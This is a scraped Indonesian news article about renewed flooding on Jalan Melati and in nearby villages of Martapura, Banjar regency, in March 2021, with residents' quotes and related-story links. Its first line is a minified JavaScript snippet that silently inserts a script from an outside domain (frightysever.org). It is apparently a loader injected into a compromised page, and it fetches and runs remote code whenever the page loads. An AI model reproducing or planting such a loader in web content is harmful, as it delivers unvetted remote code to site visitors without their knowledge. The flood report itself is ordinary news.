(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA -Curah hujan di bagian hulu sungai Riam Kanan dan Riam Kiwa kbali berdampak banjir di sebagian wilayah Kabupaten Banjar, banjir kembali menggenangi ruas Jalan Melati, sepanjang dari Desa Tunggul Irang sampai Desa Bincau Muara, Kecamatan Martapura.
Seperti yang dikatakan Ica (20) warga Desa Bincau Muara, Kabupaten Banjar, dirinya mengakui, air sungai meluap akibat hujan yang dalam tiga hari terakhir.
“Air semakin dalam, bangun tidur air udah mencapai teras rumah saya, beberapa rumah warga juga mulai terendam air,” beber Ica saat dihubungi Kanalkalimantan.com, Selasa (9/3/2021) pagi.
Dia juga mengatakan, ketinggian air di ruas Jalan Melati bervariasi, ada ketinggian air hampir mencapai lutut orang dewasa.
“Mulai pagi kemarin air naik terus, dan tadi malam malam air semakin bertambah naik,” ucapnya.
Dia juga menjelaskan, untuk sepeda motor, di Desa Bincau Muara masih bisa dilewati, tetapi kondisi di Desa Tunggul Irang, ia tidak mengetahuinya, masih bisa dilewati sepeda motor atau tidak.
Hingga saat ini, air masih juga belum surut dan air masih menggenangi ruas Jalan Melati.
Tak hanya di dua desa yang berada di bantaran sungai Martapura itu saja yang terdampak, sejumlah rumah warga di Desa Tanjung Rema, seperti di Gang Rahmat, Gang Rukun, Gang Damai juga kembali dilanda banjir. “Ini air naik lagi, dari kemarin,” ujar Haris, warga Pasir, Gang Rahmat, Tanjung Rema. Meski diakui Haris, air tidak naik dengan kedalaman seperti saat banjir besar pada Januari lalu. Cuman ada beberapa rumah yang baru saja kering di dalam rumah, air kembali masuk rumah.
“Rumah saya sudah berulang kali dibersihkan, ini air naik lagi, ya pas kering nanti dibersihkan lagi, seperti itu berulang dari Desember lalu, hitung aja sudah berapa bulan rumah terendam lalu dibersihkan, rasanya lebih dari empat kali bersihkan rumah setelah air surut,” ujar Fauzi, warga Gang Rahmat. (kanalkalimantan.com/wahyu)
Reporter: wahyu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.